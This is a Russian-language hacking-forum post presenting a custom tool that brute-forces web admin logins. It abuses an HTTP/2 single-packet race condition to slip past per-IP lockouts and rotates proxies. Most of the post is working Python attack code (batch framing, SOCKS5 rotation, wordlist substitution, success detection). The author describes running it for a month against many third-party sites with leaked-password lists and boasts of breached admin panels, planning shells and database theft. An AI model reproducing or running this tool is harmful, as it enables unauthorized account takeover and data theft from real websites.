Не удалось прогрузить медиа
Всем привет дорогие форумчане. Думаю все кому приходилось брутить что либо онлайн сталкивались с ограничениями в виде таймаутов на попытки логина с одного айпи, но как эти таймауты работают? Обычно веб сервер логгирует ip адресс с которого пытаются войти, и если неудачных попыток слишком много за короткий промежуток времени - накидывает таймауты для этого ip. Чтобы это обойти используют прокси, пул которых ограничен, и даже весь ваш пул может уйти в таймауты и брут очень сильно замедлиться.
А что если мы попробуем обмануть саму логику проверки того как веб сервер или сетевая l4 служба считает количество неудачных попыток?
Кулстори как я пришел к идее инструмента: летом в процессе работы мне захотелось побрутить админку чужого ботнета (обычно брутят массово и проблемные таргеты скипают, но я хотел именно этот). Первое что я попробывал сделать это запустил брут с vps сервера, но сражу же уперся в таймаут на логин для ip моей vps.
Тогда попробовал использовать сначала дешевые прокси с сервисов которые, в большинсве своем, просто краулят и сканят интернет на наличие паблик проксей без пароля (или со слабым паролем) и перепродают их - но через свой relay чтобы не палить. Оказалось что сайт использует какой то блеклист известных прокси - и почти все эти дешевые прокси оказались в бане. Затем я попробовал ipv6, огромные пулы которых можно приобрести недорого, но атакуемый веб сервер просто не поддерживал ipv6. Я пошел дальше и купил мобильные и резидентные, с них запросы уже доходили, но вылезла другая проблема - на форме логина оказались очень большие таймауты, сайт после трех неудачных попыток накидывал аж по 30 минут на ip за каждую следующую неудачную попытку логина. А поскольку прокси пул как мой и бюджет не бесконечный, а сбрутить админку ну ооочень надо, встала задача найти обходной путь, не через банальное увеличение пула адресов. Начал думать как подобраться к этому блекбоксу, я понимал что сервер откуда то читает timestamp и ip последней попытки логина, и записывает куда то, например в бд. А запросы к бд и ответы занимают какое то время, это не моментально. Тогда в голову пришла мысль и вспомнил про toctou, и решил попробовать через турбо интрудер (плагин для burp suite) скрафтить сразу 10 запросов и отправить одномоментно - и что я увидел, на 8 из них сервер вернул ответ что логин или пасс неверный, а 2 оставшихся отлетели в таймаут. Уже вроде нарисовывается что то интересное, мы вместо одного пароля проверили сразу пачку, но турбо интрудер не поддерживает работу через пул проксей и у него есть много минусов для моей задачи, поэтому было принято решение сделать кастомный инструмент
Плюсы такого метода в том что проблемные таргеты с таймаутами все скипают, и мат даже с простыми паролями (но таймаутами) почти не тронутый. А race condition позволяет с пула проксей получить х10 скорости
Рассмотрим что обычно происходит в коде перед последней попыткой до таймаута:
Проверка: сервер получает запрос на вход и смотрит в базу данных: читает последний timestamp, вычитает его из текущего timestamp, делит дельту на длительность таймаута (например 10 минут)
Условие: если число получилось больше 1, например 1.23 (а не 0.85) то запрос обрабатывается.
Обновление: если пароль неверный, сервер обновляет счётчик неудачных попыток для этого ip, записывая timestamp и ip в бд
PHP:
if ($this->throttle->isLocked($ip)) {
return new Response(429, 'Too many attempts. Try again later.');
}
$user = $this->users->findByUsername($username);
if (!$user || !password_verify($password, $user->passwordHash)) {
$this->throttle->hit($ip);
return new Response(401, 'Incorrect username or password.');
}
PHP:
public function isLocked(string $ip): bool
{
$stmt = $this->db->prepare(
"SELECT attempts, last_attempt_at FROM login_throttle WHERE ip = :ip"
);
$stmt->execute([':ip' => $ip]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) return false;
if (time() - (int)$row['last_attempt_at'] >= $this->decaySeconds) return false;
return (int)$row['attempts'] >= $this->maxAttempts;
}
public function hit(string $ip): void
{
$stmt = $this->db->prepare(
"INSERT INTO login_throttle (ip, attempts, last_attempt_at)
VALUES (:ip, 1, :now)
ON DUPLICATE KEY UPDATE attempts = attempts + 1, last_attempt_at = :now"
);
$stmt->execute([':ip' => $ip, ':now' => time()]);
}
В коде между проверкой и инкрементом есть временное окно. И проблема возникает, когда вебсервер или l4 служба обрабатывает запросы параллельно (многопоточно). Если мы подождем пока сервер начислит нам еще одну попытку логина и отправим батч из 20 запросов на вход одновременно вместо одного:
Первый поток считывает счётчик: "Попыток 4. Лимит не превышен".
Пока первый поток ещё не успел обновить счётчик до 5, второй поток тоже считывает счётчик: "Попыток 4. Лимит не превышен".
То же самое делают третий, четвёртый и все остальные потоки.
В результате, все (или значительная часть) из 20 запросов могут пройти проверку, и сервер обрабатывает их, хотя по правилам должен был отклонить все, начиная со второго. И если в одном из потоков будет валидные креды - сервер честно вернет нам в http ответе отличную от других ответов строку вроде "login succesful", или html элемент которые указывают на успешный логин, и которую мы сможем найти через проверку вхождений подстроки в ответах
Мы обманываем логику веб сервера, заставляя его поверить, что все запросы пришли до того, как был достигнут порог. Это позволяет выполнить брутфорс в разы быстрее, так как мы за цену одной попытки проверяем сразу пачку паролей
В основе этой техники и инструмента лежит концепция toctou - временной зазор между моментом проверки и моментом выполнения защищённого действия
Какие формы логина уязвимы к такому бруту? Многие, большинство вайбкод форм где неопытные разрабы даже не знаю о существовании такой уязвимости, самописные, старые, странные кастомные, малоизвестные и т.д.
Одна из причин такой уязвимости - неатомарность или не полная атомарность (атомарное чтение, но отдельный инкремент) операций. Например если код сначала читает из бд время последнего логина, вычисляет хеш пароля для логина и сравнивает его с хешем из бд, и если хеши не совпадают прибавляет число неудачных попыток
PHP:
count = db.query("SELECT attempts FROM limits WHERE ip = ?", ip) # атомарно
if count < 5:
result = handle_login(...) # логин
db.query("UPDATE limits SET attempts = attempts + 1 WHERE ip = ?", ip) # атомарно
Другие возможные причины:
2)отсуствие блокировок операций в бд. Если сайт не блокирует доступ к обьекту в бд для других потоков
3)отсуствие упорядоченных транзакций, когда многопоточное приложение не гарантирует что все операции на логин будут выполнены строго последовательно
4)отсутсвие мьютексных семафоров
5)еще одна экзотическая возможность для race condition - это наличие у ресурса нескольких backend инстансов, состояние попыток может использоваться из локальной бд и только потом синхронизироваться между бекендами.
Исходники будут в ссылках в конце, я разберу в статье основные функции, что как реализованно, как тестировалось и т.д. Когда я делал тулзу изначально у меня не было четкого тз, я просто что то добавлял, шел тестировать, натыкался на какую то проблему и решал ее, постепенно добавляя функционал
*батч - tcp пакет в котором несколько запросов
1)сборка батчей и работа http2 через прокси
2)Пересчет content-length
2.1)очистка запросов (рекламные куки, необязательные хидеры) и вычисление безопасного минимума в батче
3)пробы таргета на поддержку http 2 и многопоточности
4)поиск параметров и крафтинг запросов
5)индикаторы валида и невалида, сборка аномалий
Начать нужно с ядра, я решил не изобретать велосипед и не мучаться с тестировкой и оптимизациями, а взял готовую быструю библиотеку из проекта h2spacex. В нем есть уже готовая функция create_single_packet_http2_post_request_frames
Python:
post_request_frames = h2_frames.create_headers_frame(
method=method, authority=authority, scheme=scheme, path=path,
headers_string=headers_string, stream_id=stream_id, body=body,
)
# отрезаем последний байт DATA-фрейма и снимаем флаг END_STREAM:
last_byte = post_request_frames.frames[-1].data[-1:]
post_request_frames.frames[-1].data = post_request_frames.frames[-1].data[:-1]
post_request_frames.frames[-1].flags.remove('ES')
# сервер "зависнет" на этом запросе, пока не прилетит финальный фрейм:
new_data_frame = h2.H2Frame(stream_id=stream_id, flags={'ES'}) / h2.H2DataFrame(data=last_byte)
Сердце движка - весь батч собирается в два blob’а и выстреливается последовательно:
stream_ids = conn.generate_stream_ids(number_of_streams=len(batch))
bulk_bytes = b'' # все HEADERS+DATA без последних байтов
final_bytes = b'' # финальные 1-байтовые DATA-фреймы (с ES)
stream_map = {} # stream_id -> пароль
for password, stream_id in zip(batch, stream_ids):
body = self.substitute_password(self.req.body, password)
headers_string = self.req.headers_string + \
f'content-length: {len(body.encode("utf-8"))}\n'
frames_part, last_frame = conn.create_single_packet_http2_post_request_frames(
method=self.req.method, authority=host, scheme=scheme,
path=self.req.path, headers_string=headers_string,
stream_id=stream_id, body=body,
)
bulk_bytes += bytes(frames_part)
final_bytes += bytes(last_frame)
stream_map[stream_id] = password
Python:
conn.send_bytes(bulk_bytes) # (1) весь батч одним burst'ом
if self.pre_send_delay > 0:
time.sleep(self.pre_send_delay) # (2) сервер принял всё и ждёт
if self.ping_warmup:
conn.send_ping_frame() # (3) прогрев
conn.send_bytes(final_bytes) # (4) релиз: ~9*N байтов - все потоки в обработке
их и будем использовать
1)Работа через прокси
Как обеспечить одновременное дохождение запросов, если у всех прокси разный пинг? HTTP2 позволяет в один tcp пакет засунуть сразу несколько http запросов, сколько влезет в стандартный tcp-сегмент. http/2 запрос - это HEADERS-фрейм (+ данные, если есть тело), сжатый через hpack.
Есть легаси сайты которые до сих пор поддерживают только http 1.1, но их очень очень мало, и http 1 он не позволяет засунуть много запросов в один пакет, для него возможен только метод "last-byte sync" (не путать с last frame) - запросы отправляются по отдельным tcp-соединениям, все кроме последнего байта каждого, затем досылается последний байт всех одновременно, чтобы они дошли до сервера почти синхронно. Поэтому этот способ не имеет смысла при работе через прокси, т.к в http 1.1 параллельность = отдельное tcp-соединение (и tls хендшейк) на каждый запрос, а tcp соединение у нас только одно (по одному на проксю). В http 2 запросы мультиплексируются по одному tcp-соединению через фреймы. Сервер начинает обрабатывать запрос только когда считает его полным (обычно когда приходит последний DATA-фрейм с флагом END_STREAM)
Создадим функцию которая будет парсить список проксей, по одному на строку
Python:
def load_proxy_list(path: str):
entries = []
with open(path, 'r', encoding='utf-8', errors='replace') as f:
for lineno, raw in enumerate(f, 1):
line = raw.strip()
if not line or line.startswith('#'):
continue
try:
entries.append(parse_proxy_line(line))
except ValueError as e:
raise ValueError(f'Строка {lineno} списка прокси: {e}') from None
return entries
Не удалось прогрузить медиа
Парсим формат ip:port:login:pass и реализуем подключение к socks5 с аутентификацией. Ядро h2spacex само по себе не умеет работать с прокси с аутентификацией, поэтому здесь ядро не вызываем - через сабкласс создаем PySocks-сокет точечно:
Python:
class _SocksAuthMixin:
proxy_username = None
proxy_password = None
def _create_socks_socket(self):
sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
sock.set_proxy(socks.SOCKS5, self.proxy_hostname, self.proxy_port_number,
username=self.proxy_username, password=self.proxy_password)
# Nagle оставлен включённым (как в ядре): батч копится в один tcp-сегмент
sock.setsockopt(socket.IPPROTO_tcp, socket.tcp_NODELAY, 0)
# read_timeout ограничивает и установку соединения с прокси (CONNECT +
# согласование), иначе мёртвый прокси подвесил бы батч до таймаута ОС
sock.settimeout(self.read_timeout)
sock.connect((self.hostname, self.port_number))
self.raw_socket = sock
return sock
class ProxiedH2Connection(_SocksAuthMixin, H2Connection):
pass
class ProxiedH2tlsConnection(_SocksAuthMixin, H2OntlsConnection):
pass
Теперь ротация и ротация и фабрика соединений:
Python:
def _proxy_for_batch(self, batch_num: int):
"""прокси для батча с номером batch_num (с 1): по кругу через список,
батч 1 - первый прокси из файла. None = напрямую (список пуст)."""
if not self.proxies:
return None
return self.proxies[(batch_num - 1) % len(self.proxies)]
def _make_connection(self, proxy_entry):
"""
H2-соединение к цели (tls или h2c). Если proxy_entry задан - через
SOCKS5-прокси на точечном PySocks-сокете с авторизацией (см.
_SocksAuthMixin), иначе напрямую.
"""
cls = ProxiedH2tlsConnection if self.req.scheme == 'https' else ProxiedH2Connection
conn = cls(
hostname=self.req.authority, port_number=self.req.port,
read_timeout=self.read_timeout,
proxy_hostname=proxy_entry.host if proxy_entry else None,
proxy_port_number=proxy_entry.port if proxy_entry else None,
)
if proxy_entry:
conn.proxy_username = proxy_entry.username
conn.proxy_password = proxy_entry.password
return conn
перед каждым батчем берётся следующий прокси по кругу и передаётся в батч; ошибка батча логируется с указанием прокси:
Python:
for batch_num, batch in enumerate(batches, 1):
if self._stop.is_set():
log('[!] Остановлено пользователем')
break
proxy_entry = self._proxy_for_batch(batch_num)
via = f' | прокси {proxy_entry.label()}' if proxy_entry else ''
progress(f'Батч {batch_num}/{len(batches)}{via} | проверено {done}/{total}')
try:
batch_found = self._run_batch(batch, log, proxy_entry)
except AttackError as e:
log(f'[!] {e}')
break
except Exception as e:
...
via = f' (через {proxy_entry.label()})' if proxy_entry else ''
log(f'[!] Ошибка в батче {batch_num}{via}: {sig}')
...
батч строится и уходит одним send() через свой прокси
Python:
def _run_batch(self, batch, log, proxy_entry=None):
host, port, scheme = self.req.authority, self.req.port, self.req.scheme
conn = self._make_connection(proxy_entry)
conn.setup_connection()
stream_map = {} # stream_id -> пароль
try:
stream_ids = conn.generate_stream_ids(number_of_streams=len(batch))
bulk_bytes = b'' # все запросы батча - одним вызовом send()
for password, stream_id in zip(batch, stream_ids):
...
bulk_bytes += bytes(request_frames)
stream_map[stream_id] = password
# single packet attack: весь батч уходит одним send()
conn.send_bytes(bulk_bytes)
...
finally:
try:
conn.close_connection()
except Exception:
pass
2)Пересчет content-length
Длина тела меняется с каждым паролем, а наша библиотека сборки фреймов content-length не пересчитывает. Несовпадение content-length и тела - протокольная ошибка, сервер прибьёт поток (RFC 7540). Поэтому заголовок пересчитываем сами:
Python:
body = self.substitute_password(self.req.body, password)
headers_string = self.req.headers_string + f'content-length: {len(body.encode("utf-8"))}\n'
Кстати, content-length для http/2 - не обязателен. По RFC 7540 в http/2 тело передаётся DATA-фреймами и завершается флагом END_STREAM - длина тела и так известна из фреймов. Заголовок content-length можно вообще не посылать, но если он есть, он обязан точно совпадать с фактической длиной тела - иначе запрос считается malformed, и сервер обязан отклонить поток.
Но утилита перед сборкой фреймов всеравно сама дописывает content-length: <фактическая длина тела> для каждого запроса, ради избежания edge кейсов и максимальной совместимости
2.1)Прунинг запросов.
Сколько можно максимум запихнуть в пакет? tcp-сегмент обычно ограничен mtu (1500 байт, из них 1460 полезной нагрузки при Ethernet без jumbo frames). Увеличить mtu нельзя, так как расширенный mtu Должны поддерживать все промежуточные хопы (узлы) на пути от атакующего до принимающего.
Размер запроса - фактор номер 1. Каждый лишний байт заголовков уменьшает плотность запросов в одном батче
Первичная прикидка: минимальный http 2 post запрос после hpack-сжатия будет занимать порядка ~50 байт благодаря статической таблице и индексации повторяющихся значений. Так что теоретически в один сегмент 1460 байт может влезть несколько десятков таких запросов, если заголовки почти идентичны (переиспользуются из динамической таблицы).
Не удалось прогрузить медиа
Метод _on_optimize (висит на кнопке "Очистить запрос…"). Из заголовков остаётся только content-type, остальное (Cookie, User-Agent, Accept и т.д.) удаляется, Host сохраняется - он уйдёт в :authority
Python:
kept, removed = [], []
for line in parsed.headers_string.splitlines():
name = line.split(':', 1)[0].strip().lower()
if name == 'content-type':
kept.append(line)
else:
removed.append(name)
default_port = 443 if parsed.scheme == 'https' else 80
host_line = (parsed.authority if parsed.port == default_port
else f'{parsed.authority}:{parsed.port}')
new_raw = ('\n'.join([f'{parsed.method} {parsed.path} http/2',
f'Host: {host_line}'] + kept)
+ '\n\n' + parsed.body + '\n')
self.request_text.delete('1.0', tk.END)
self.request_text.insert('1.0', new_raw)
self.log(f'[+] Запрос очищен. Удалены заголовки: {", ".join(removed) or "-"}', 'muted')
self.log('[+] Host сохранён (уйдёт в :authority), content-length пересчитается при подстановке', 'muted')
Как рассчитать максимум запросов? Нужно несколько очищенных запросов упаковать в пакет, и если он не вылазит за mtu то прибавлять по +1 запросу и пробовать снова. Важно чтобы размер на проводе мерился тем же билдером, каким движок реально шлёт батч (заголовки после hpack):
Python:
H2_MSS = 1460 # стандартный MSS Ethernet: 1500 (mtu) - 20 (IP) - 20 (tcp)
def build_request_frames_bytes(req: ParsedRequest, body=None, stream_id=3) -> bytes:
"""
Байты одного http/2-запроса на проводе (HEADERS+DATA фреймы, заголовки после
hpack) - ровно такие, какие строит и отправляет движок. Соединение не открывается.
body=None -> берётся тело запроса как есть (для расчёта размера под текущий шаблон).
"""
conn = H2Connection(hostname=req.authority, port_number=req.port)
body = req.body if body is None else body
headers_string = req.headers_string
if body:
headers_string += f'content-length: {len(body.encode("utf-8"))}\n'
frames = conn.create_simple_http2_request(
method=req.method, authority=req.authority, scheme=req.scheme,
path=req.path, headers_string=headers_string, stream_id=stream_id,
body=body or None,
)
return bytes(frames)
Но пароли из словаря могут быть длинными, например в словаре может идти несколько длинных паролей подряд, и все они разные и не сжимаются из за высокой энтропии.
Сначала я попробывал сделать пересчет количества запросов в батче для каждого tcp пакета индивидуально - но как оказалось это сильно нагружает vps.
Поэтому функцию авторассчета решил сделать просто по нижней безопасной границе, она выдаст 8-12 пакетов в батче. Можете это число умножить на полтора ради максимальной скорости
Python:
# тела для замера: текущее, а если задан wordlist - с подставленными паролями
bodies = [cleaned.body]
param = self.param_var.get().strip()
wl = self.wordlist_var.get().strip()
if param:
tmp = AttackEngine(cleaned, '', param, '',
url_encode_password=self.urlenc_var.get())
if wl and os.path.exists(wl):
try:
words = tmp.load_wordlist(wl)[:5000]
if words:
bodies = [tmp.substitute_password(cleaned.body, w) for w in words]
except Exception as e:
self.log(f'[!] Wordlist не прочитан ({e}); расчёт по текущему телу', 'muted')
max_size = max(len(build_request_frames_bytes(cleaned, body=b)) for b in bodies)
fit = H2_MSS // max_size
if fit < 2:
self.log(f'[!] Один запрос занимает {max_size} Б - даже два не влезают '
f'в MSS {H2_MSS} Б, упаковка в один пакет невозможна', 'error')
return
fit = min(fit, 256)
self.rpp_var.set(fit)
self.log(f'[+] Размер одного запроса после hpack (HEADERS+DATA): {max_size} байт '
f'(замер по {len(bodies)} вариантам тела)')
self.log(f'[+] Максимум в один tcp-пакет (MSS {H2_MSS} Б): {fit} запросов')
3)пробы таргета на поддержку http 2 и многопоточности
При тестах в дикой природе я один раз оставил брут на несколько дней, и только потом обнаружил что хост не поддерживает http2. Чтобы так не обсираться добавим preflight тест перед прогоном: по RFC 7540 сервер обязан прислать SETTINGS-фрейм сразу после preface - это и есть проверка, что цель говорит по http/2. Проба идёт через первый прокси из списка
Python:
def _preflight(self, log) -> bool:
proxy_entry = self.proxies[0] if self.proxies else None
try:
conn = self._make_connection(proxy_entry)
conn.setup_connection()
except Exception as e:
log(f'[!] Preflight: соединение не устанавливается: {type(e).__name__}: {e}')
if proxy_entry:
log('[!] Preflight: первая проба идёт через первый прокси из списка - '
'проверьте его доступность и учётные данные')
else:
log('[!] Preflight: проверьте адрес/порт и запущена ли цель')
return False
try:
sock = conn.get_using_socket()
sock.settimeout(PREFLIGHT_TIMEOUT)
try:
first = sock.recv(4096)
except socket.timeout:
log(f'[!] Preflight: цель не прислала SETTINGS-фрейм за {PREFLIGHT_TIMEOUT:.0f} с - '
'по RFC 7540 сервер обязан прислать его сразу после preface. '
'Похоже, цель не говорит по http/2')
return False
except OSError as e:
log(f'[!] Preflight: соединение оборвано сразу после preface: {type(e).__name__}: {e} - '
'цель принимает tcp, но рвёт http/2-соединение (не поддерживает h2c?)')
return False
ok, verdict = classify_preflight_response(first)
log(('[+] Preflight OK: ' if ok else '[!] Preflight: ') + verdict)
return ok
finally:
try:
conn.close_connection()
except Exception:
pass
Функция classify_preflight_response - классификатор первого ответа (распознаёт http/1.x-таргеты, текст вместо фрейма, настоящий SETTINGS)
Python:
def classify_preflight_response(data: bytes):
if not data:
return False, ('сервер закрыл соединение без ответа на http/2 preface - '
'h2c (http/2 без tls), похоже, не поддерживается')
if data.startswith(b'HTTP/1'):
sample = data[:60].decode('utf-8', 'replace').replace('\r\n', ' ')
return False, (f'цель отвечает по HTTP/1.x: {sample!r}. Single packet attack '
'возможен только по http/2. …')
if len(data) >= 9 and data[3] == 0x04 and int.from_bytes(data[0:3], 'big') < 10000:
return True, 'цель прислала корректный SETTINGS-фрейм - http/2 подтверждён'
if all(32 <= b < 127 or b in (9, 10, 13) for b in data[:16]):
sample = data[:60].decode('utf-8', 'replace').replace('\r\n', ' ')
return False, (f'в ответ на http/2 preface сервер прислал текст, а не фрейм: {sample!r} …')
return True, 'сервер прислал фреймоподобные данные - продолжаю (без гарантии)'
RaceBuster сам определяет поддержку http2 перед брутом, и если таргет не поддерживает то отказывается брутить.
4)подстановка паролей из словаря в нужный параметр
Функция load_wordlist загружает словарь и удаляет дубли
Python:
@staticmethod
def load_wordlist(path: str):
with open(path, 'r', encoding='utf-8', errors='replace') as f:
raw_lines = f.readlines()
seen = set()
words = []
for line in raw_lines:
word = line.rstrip('\r\n')
if not word.strip() or word.strip().startswith('#'):
continue
if word not in seen:
seen.add(word)
words.append(word)
return words
Не удалось прогрузить медиа
Функция substitute_password подстанавливает пароль в значение параметра (регуляркой с protection от частичного совпадения имён: user не заденет username=), остальные параметры (например csrf-токен) сохраняются, спецсимволы URL-кодируются:
Python:
def substitute_password(self, body: str, password: str) -> str:
"""
заменить значение параметра self.param_name в urlencoded-теле на password.
Остальные параметры (например csrf-токен) сохраняются как есть.
"""
if not self.param_name:
raise AttackError('Не указан параметр для подстановки')
value = quote(password, safe='') if self.url_encode_password else password
pattern = re.compile(
r'(?<![^\s&;])(' + re.escape(self.param_name) + r'=)([^&]*)'
)
new_body, count = pattern.subn(lambda m: m.group(1) + value, body, count=0)
if count == 0:
raise AttackError(
f'Параметр "{self.param_name}" не найден в теле запроса. '
f'Тело: {body[:120]!r}'
)
return new_body
Не удалось прогрузить медиа
Там где функция вызывается при сборке батча - пароль подставляется, content-length пересчитывается под новую длину тела, а пароль запоминается в stream_map по stream_id - чтобы потом (п. 4) понять, какой пароль был в каком ответе:
Python:
for password, stream_id in zip(batch, stream_ids):
body = self.substitute_password(self.req.body, password)
# content-length обязан совпадать с фактической длиной тела (RFC 7540)
headers_string = self.req.headers_string
headers_string += f'content-length: {len(body.encode("utf-8"))}\n'
request_frames = conn.create_simple_http2_request(
method=self.req.method, authority=host, scheme=scheme,
path=self.req.path, headers_string=headers_string,
stream_id=stream_id, body=body,
)
bulk_bytes += bytes(request_frames)
stream_map[stream_id] = password
5)Поиск подстроки по вхождению в ответах и остановка когда креды сбручены
Ответы мультиплексированы в том же соединении. Парсер фреймов раскладывает их по stream_id, а stream_map сообщает, какой пароль какому потоку принадлежал.
Производим разбор ответов батча и поиск индикатора валида (в заголовках и теле, с декомпрессией gzip/br/deflate):
Python:
resp = conn.read_response_from_socket(_timeout=self.read_timeout)
parser = h2_frames.FrameParser(h2_connection=conn)
parser.add_frames(resp)
for stream_id, frames in parser.headers_and_data_frames.items():
password = stream_map.get(stream_id) # stream_id -> пароль
if password is None:
continue # служебные потоки (PING ACK и т.п.)
headers = frames.get('header') or ''
data = frames.get('data') or b''
body_text = self._decompress_body(headers.lower(), data) # gzip/br/deflate
haystack = f'{headers}\n{body_text}'
if self.match_string.lower() in haystack.lower():
return password # нашли
Не удалось прогрузить медиа
Если вхождение индикатора валида найдена - прогон останавливается (break из цикла батчей) и пароль пишется в файл через GUI-колбэк:
Python:
if batch_found is not None:
found = batch_found
break
progress(f'Проверено {done}/{total}')
if found is not None:
log('[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]')
log(f'[!!!] ПАРОЛЬ НАЙДЕН: {found}')
log('[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]')
if on_found:
try:
on_found(found)
except Exception as e:
log(f'[!] Не удалось записать найденный пароль в файл: {e}')
return True
Во время тестов я осознал что в отличии от популярных cms или фреймворков - точно не знаю какой индикатор валида надо ждать в ответах, потому что каждая самописная админка уникальна, добавим чтобы можно было указывать несколько предпологаемых индикаторов валида через | разделитель, например success|200 OK (если сервер возвращает 403 Forbidden или 401 Unauthorized на невалидный пароль)
Примеры индикаторов: success|200 OK|"success":true|Set-Cookie: session=|"token":|"authenticated":true|Logged in|Logout
Python:
@staticmethod
def _split_indicators(s: str):
"""строка индикаторов через '|' -> список без пустых элементов"""
return [p.strip() for p in (s or '').split('|') if p.strip()]
def _match_any(self, haystack: str, indicators) -> bool:
"""есть ли в haystack хотя бы один индикатор из списка (с учётом ignore_case)"""
if not indicators:
return False
hay = haystack.lower() if self.ignore_case else haystack
for ind in indicators:
needle = ind.lower() if self.ignore_case else ind
if needle in hay:
return True
return False
так же можно добавить поддержку индикаторов НЕвалида, то есть присутсвие которых в ответах означает что пасс неверный, например Invalid password|Authentication failed|401 Unauthorized
Индикаторы невалида (если они указаны) будут проверяться первыми
Python:
haystack = f'{headers}\n{body_text}'
# вес ответа: аномальные (в ANOMALY_FACTOR раза от среднего)
# целиком пишутся в отдельный файл вместе с паролем
weight = len(haystack.encode('utf-8', errors='replace'))
self._note_response(weight, password, headers, body_text, batch_num, log)
if self._match_any(haystack, self.invalid_indicators):
continue # явный индикатор невалида - пароль точно неверный
if self._match_any(haystack, self.valid_indicators):
return password
Не удалось прогрузить медиа
Индикатор валида обязателен, невалид опционален
Python:
if not self.valid_indicators:
log('[!] Не указан ни один индикатор валида (поле "Индикатор валида", '
'несколько значений разделяются |)')
return False
Есть и второй механизм остановки - не по валиду, а по ошибкам, по умолчанию: MAX_CONSECUTIVE_FAILURES = 10, 10 батчей подряд с ошибками останавливают прогон, можете увеличить это число если прокси часто отваливаются. Но сама функция нужна чтобы не долбиться головой в стену если что то явно идет не так, и запросы даже не доходят до таргета
Аномалии веса ответов
Еще одним индикатором валидного пасса могут быть необычные ответы (которые заметно отличаются от большинсва в любую сторону, ответ с валидом может быть меньше или больше если сервер сразу отдает контент dashboard) чтобы позже можно было самому проверить
Порог аномалии можно изменить в переменно, по умолчанию 2
Python:
ANOMALY_FACTOR = 2.0 # ответ "сильно отличается", если он в ANOMALY_FACTOR раза
# тяжелее среднего веса или легче него
ANOMALY_MIN_SAMPLES = 5 # минимум ответов для базлайна среднего веса
Движок на лету считает средний вес всех ответов (заголовки + распакованное тело, в байтах). Ответ, который отличается от среднего в 2 раза и больше - легче или тяжелее, целиком пишется в racebuster/anomalous_responses.txt вместе с паролем. Но это не останавливает брут, потому что нестандартный ответ может прийти и при других эйджкейсах
Python:
def _note_response(self, weight, password, headers, body_text, batch_num, log):
"""
Пополнить базлайн среднего веса ответов. Ответ, отличающийся от среднего
в ANOMALY_FACTOR раза и больше (легче или тяжелее), целиком записывается
в anomaly_path вместе с паролем. Базлайн считается по предыдущим ответам,
чтобы аномалия не тянула среднее сама на себя.
"""
count, total = self._resp_count, self._resp_total
if count >= ANOMALY_MIN_SAMPLES:
avg = total / count
if weight > avg * ANOMALY_FACTOR or weight * ANOMALY_FACTOR < avg:
ratio = weight / avg if weight >= avg else avg / (weight or 1)
try:
self._write_anomaly(weight, avg, ratio, password, headers,
body_text, batch_num)
log(f'[*] Аномальный ответ: {weight} Б при среднем {avg:.0f} Б '
f'(×{ratio:.1f}) - пароль {password!r}, записан в '
f'{os.path.basename(self.anomaly_path)}', 'muted')
except OSError as e:
log(f'[!] Не удалось записать аномальный ответ: {e}', 'muted')
self._resp_count = count + 1
self._resp_total = total + weight
Как я уже писал тулза делалась для брута админок, где админ додумался сделать таймауты, но проверка может быть уязвима. Плюсы такого метода в том что проблемные таргеты с таймаутами все скипают, а значит мат даже с простыми паролями еще не тронутый. Таргетов насобирал много, полулся огромный лист, очистил от всех cms скриптом (скрипт чекал панель и если находил название любой cms то удалял из txt). Пробывал через интрудер отправить 10 запросов с задержкй в секунду, если не отправляет в таймаут - убираем из списка. Потому что если слабый пасс и без таймаутов то скорее всего сбрутили до меня, и если таргет жир - админ заметил и сменил пароль на более сильный. Если не сменил - значит таргет мусор и даже админу на него пох
Те которые оставляем пробуем залогиниться и сохраняем запрос. Cамое запарное было открывать каждый сайт в бурпе и ловить кучу запросов, думаю позже напишу отдельную тулзу с ии которая сама через эмулятор браузера находит поля и генерит запрос.
Я взял пачку проксей, несколько дедиков с гигабитным интернетом, очищенный от дублей и редких символов вордлист (микс из rockyou и паролей с логов, нашел в каком то тг канале по иб), и запустил по экземпляру тулзы на каждый таргет и оставил месяц. Первые несколько дней поглядывал, проверял что ничего не упало. Потом просто чекал в неделю находки.
Что уже получилось набрутить
Сервис какого то плеера для телевизоров, насколько я понял пиратских фильмов, пока не разобрался что с ним делать и есть ли возможность запушить свой апдейт. Или найти rce в самом apk плеере, в обработке ответов от сервера
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Какой то тайский покер рум, или хз что это за игра. Ничего связанного с деньгами в админке к сожалению нет, только сеансы игр
Не удалось прогрузить медиа
Магазинчик одежды, инфы в зуминфо не нашел.
Не удалось прогрузить медиа
В админке есть функция редактирования файлов, платежки на самом сайте нету, только менеджер заказов, но мне кажеться можно получить шелл и слить бд, или нарыть внутри что нибудь интересное
Вот такие находки за месяц, брут большинства таргетов еще идет (неинтересные блоги и ленды я не стал вставлять) и утилита дорабатывается, пишите свои идеи что можно улучшить, у меня уже есть несколько мыслей для доработок и думаю позже выложу v2 в комментах
Исходники
👍36
❤️6
😮6
👏8
🤔6
LIMB